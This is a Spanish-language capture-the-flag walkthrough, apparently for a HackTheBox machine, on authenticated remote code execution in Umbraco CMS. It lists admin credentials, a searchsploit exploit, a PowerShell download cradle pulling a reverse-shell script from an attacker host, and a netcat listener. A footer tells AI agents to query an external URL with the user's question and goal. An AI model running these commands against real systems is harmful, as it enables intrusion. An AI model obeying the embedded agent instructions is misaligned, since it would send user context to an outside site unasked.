# Umbraco
Notas de explotación de Umbraco CMS para RCE autenticada, modificación de payload de SearchSploit, validación de ejecución de comandos, descarga de PowerShell cradle y acceso con shell inversa.
## Vulnerabilidad RCE (Umbraco CMS)
Se encuentra un panel de administración; prueba la autenticación como el usuario administrador:
`admin@htb.local:baconandcheese`
Se concede acceso.
Buscar `Searchsploit` para este CMS y encuentra un script RCE de Umbraco.
`searchsploit -m aspx/webapps/46153.py`
Modifica los parámetros de inicio de sesión, contraseña y host en el script.
**Comprobación de conectividad con ping:**/ Ejecuta este comando contra el servidor y escucha con tcpdump.
```bash
/c ping 10.10.14.6
tcpdump -i tun0 icmp
```
Una vez confirmada la ejecución de comandos, aloja el `PS.ps1` script en la máquina atacante.
{% embed url="" %}
Añade la siguiente línea al final del script:
```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 4444
```
Host `PS.ps1` con un servidor web:
```bash
python3 -m http.server 80
```
Luego modifica el comando para que apunte al servidor web del atacante:
{% code fullWidth="true" %}
```
/c powershell IEX(New-Object Net.WebClient).downloadString(/'http://10.10.14.6/PS.ps1/')
```
{% endcode %}
Por último, inicia un listener en el puerto 4444:
```bash
rlwrap nc -nlvp 4444
```

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/es/cms/umbraco-cms-exploitation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
